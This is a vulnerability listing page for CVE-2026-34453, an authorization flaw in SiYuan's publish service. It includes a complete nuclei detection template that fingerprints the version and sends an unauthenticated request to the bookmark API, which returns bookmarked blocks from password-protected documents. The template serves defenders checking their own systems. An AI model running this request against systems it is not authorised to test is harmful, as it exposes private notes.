Browse / CVEs / CVE-2026-34453
CVE-2026-34453· siyuan-note / siyuan· CWE-863
SiYuan <= v3.6.1 - Bookmark Data Disclosure
highseverity
7.5CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it
SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.
Impact
Unauthenticated attackers can access content from protected documents without a password, exposing sensitive information
Fix
Update to version 3.6.2 or later.
How to confirm it
Send: POST {{BaseURL}}/api/system/version
Positive when: status_code == 200 and compare_versions(ver, ">= 0.0.1", "<= 3.6.1")
Send: POST /api/bookmark/getBookmark
Positive when: contains "\"code\":0" and "\"type\":\"bookmark\"" and "\"blocks\"" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2026-34453 -u <target>
The full check
id: CVE-2026-34453
info:
name: SiYuan <= v3.6.1 - Bookmark Data Disclosure
author: 0x_Akoko
severity: high
description: |
SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.
impact: |
Unauthenticated attackers can access content from protected documents without a password, exposing sensitive information
remediation: |
Update to version 3.6.2 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q
- https://nvd.nist.gov/vuln/detail/CVE-2026-34453
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-34453
epss-score: 0.01227
epss-percentile: 0.69098
cwe-id: CWE-863
metadata:
verified: true
max-request: 2
vendor: siyuan-note
product: siyuan
shodan-query: http.favicon.hash:-1450125239
tags: cve,cve2026,siyuan,unauth,disclosure,bac
flow: http(1) && http(2)
http:
- method: POST
path:
- "{{BaseURL}}/api/system/version"
matchers:
- type: dsl
internal: true
dsl:
- 'status_code == 200'
- 'compare_versions(ver, ">= 0.0.1", "<= 3.6.1")'
condition: and
extractors:
- type: json
name: ver
internal: true
json:
- '.data'
- raw:
- |
POST /api/bookmark/getBookmark HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"code":0'
- '"type":"bookmark"'
- '"blocks"'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q
- https://nvd.nist.gov/vuln/detail/CVE-2026-34453
Use this check only on systems you are authorised to test. Where the data comes from